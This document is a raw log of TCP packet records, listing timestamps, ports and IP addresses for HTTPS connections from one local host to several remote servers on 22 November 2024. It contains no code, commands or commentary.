Nov 22, 2024 22:59:59.369781017 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 23:00:00.145926952 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.146219015 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.146289110 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.148282051 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.148366928 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.148646116 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.148735046 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.148802042 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.148818970 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.148873091 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.148926020 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.201361895 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.631462097 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.631658077 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.631735086 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.631747961 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.631795883 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.631855965 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.631875038 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.632035017 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.632095098 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.632647991 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.632678986 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.636121035 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:00.636149883 CET	443	49745	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:00.636239052 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:00.636693001 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:00.636707067 CET	443	49745	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:00.648046017 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.648061991 CET	443	49746	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.648230076 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.648529053 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.648569107 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.648580074 CET	443	49746	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.648621082 CET	443	49747	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:00.648694992 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.649374008 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:00.649425983 CET	443	49747	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.358402967 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 23:00:01.864729881 CET	443	49747	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.865094900 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.865165949 CET	443	49747	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.868325949 CET	443	49747	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.868415117 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.868683100 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.868683100 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.868731976 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.868781090 CET	443	49747	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.868853092 CET	49747	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.868988037 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.869021893 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.869098902 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.869276047 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.869287968 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.910006046 CET	443	49746	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.910320997 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.910387039 CET	443	49746	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.911847115 CET	443	49746	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.911932945 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.912311077 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.912347078 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.912383080 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.912408113 CET	443	49746	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.912481070 CET	49746	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.912725925 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.912791014 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.912879944 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.913142920 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:01.913173914 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:01.944858074 CET	443	49745	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:01.945179939 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.945207119 CET	443	49745	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:01.946738005 CET	443	49745	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:01.946822882 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.947206974 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.947235107 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.947284937 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.947356939 CET	443	49745	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:01.947427988 CET	49745	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.947654009 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.947689056 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:01.947772980 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.948045969 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:01.948086977 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.096671104 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.096977949 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.097012043 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.098423958 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.098505020 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.098778009 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.098858118 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.098932981 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.098942041 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.098978043 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.099057913 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.148436069 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.194926977 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.195373058 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.195409060 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.196866035 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.196980000 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.197582006 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.197657108 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.197844028 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.197860003 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.237441063 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.239526033 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.239589930 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.241770029 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.241851091 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.242276907 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.242410898 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.242670059 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.242688894 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.245078087 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.292386055 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.655683994 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.655791998 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.655818939 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.655844927 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.655879974 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.655992031 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.655992985 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.656069994 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.656130075 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.660568953 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.669049978 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.669190884 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.669229031 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.674005985 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.674135923 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.674210072 CET	49749	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.674240112 CET	443	49749	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.691059113 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.691133022 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.691198111 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.691786051 CET	49750	443	192.168.2.16	104.21.94.21
Nov 22, 2024 23:00:03.691801071 CET	443	49750	104.21.94.21	192.168.2.16
Nov 22, 2024 23:00:03.789973021 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.790339947 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.790412903 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.791193008 CET	49748	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.791213989 CET	443	49748	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.794270039 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.794339895 CET	443	49751	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:03.794452906 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.794831038 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:03.794864893 CET	443	49751	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:05.050762892 CET	443	49751	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:05.051033974 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.051060915 CET	443	49751	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:05.051944017 CET	443	49751	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:05.052007914 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052263975 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052320004 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052320004 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052345991 CET	443	49751	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:05.052396059 CET	49751	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052589893 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052630901 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:05.052700996 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052880049 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:05.052891016 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:06.360976934 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:06.361329079 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:06.361351013 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:06.362426996 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:06.362844944 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:06.363013029 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:06.363034010 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:06.363114119 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:06.415400028 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:07.183032036 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:07.183162928 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:07.183222055 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:07.183238983 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:07.183504105 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:07.183558941 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:07.184118986 CET	49752	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:07.184132099 CET	443	49752	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:07.615010977 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:07.615068913 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:07.615138054 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:07.615336895 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:07.615354061 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:07.615643024 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:07.615720987 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:07.615798950 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:07.616063118 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:07.616095066 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.944346905 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.945547104 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.945580006 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.947057962 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.947207928 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.953722954 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.953881979 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.953907967 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.981292009 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.981589079 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.981620073 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.982630014 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.982712984 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.982970953 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:08.983030081 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:08.995364904 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.005402088 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.005438089 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.037441969 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.037452936 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.053431034 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.085397959 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.251756907 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.251852989 CET	443	49754	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.251948118 CET	49754	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.255225897 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.268102884 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.268138885 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.268229008 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.268443108 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.268456936 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.295353889 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.780989885 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781044960 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781065941 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781107903 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781126976 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781143904 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781143904 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.781171083 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.781203032 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.781234026 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.791459084 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:09.791486979 CET	443	49756	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:09.791555882 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:09.791915894 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:09.791930914 CET	443	49756	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:09.983225107 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.983258009 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.983306885 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.983344078 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.983362913 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:09.983392954 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:09.983417034 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.034948111 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.034984112 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.035070896 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.035088062 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.035135031 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.173846006 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.173871994 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.173986912 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.174007893 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.174056053 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.209450960 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.209475994 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.209552050 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.209568024 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.209579945 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.209631920 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.209640026 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.209671021 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.209681034 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.209718943 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.216979980 CET	49753	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.217009068 CET	443	49753	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.633115053 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.633399963 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.633419991 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.634536028 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.634860039 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:10.635032892 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:10.676429033 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:11.053167105 CET	443	49756	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:11.053558111 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.053575039 CET	443	49756	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:11.057140112 CET	443	49756	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:11.057230949 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.057518959 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.057532072 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.057575941 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.057615042 CET	443	49756	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:11.057677031 CET	49756	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.057845116 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.057885885 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:11.057993889 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.058187008 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:11.058204889 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.340607882 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.340895891 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:12.340924025 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.344501972 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.344679117 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:12.344856977 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:12.345012903 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:12.345026016 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.345042944 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.395526886 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:12.395548105 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:12.443542004 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:13.076797962 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:13.076947927 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:13.076997995 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:13.077022076 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:13.077121973 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:13.077169895 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:13.077948093 CET	49757	443	192.168.2.16	172.67.218.103
Nov 22, 2024 23:00:13.077960014 CET	443	49757	172.67.218.103	192.168.2.16
Nov 22, 2024 23:00:19.046128035 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:19.046164036 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:19.046241999 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:19.047041893 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:19.047055006 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:20.911546946 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:20.911640882 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:20.912919044 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:20.912930012 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:20.913177013 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:20.914799929 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:20.955374002 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.649338961 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.649360895 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.649388075 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.649533033 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:21.649552107 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.649668932 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:21.683336020 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.683372974 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.683430910 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.683646917 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:21.683684111 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:21.683749914 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:21.683759928 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:21.683785915 CET	49758	443	192.168.2.16	4.175.87.197
Nov 22, 2024 23:00:21.683790922 CET	443	49758	4.175.87.197	192.168.2.16
Nov 22, 2024 23:00:23.043416977 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:23.043508053 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:23.043627024 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:23.070940971 CET	49759	443	192.168.2.16	217.77.14.110
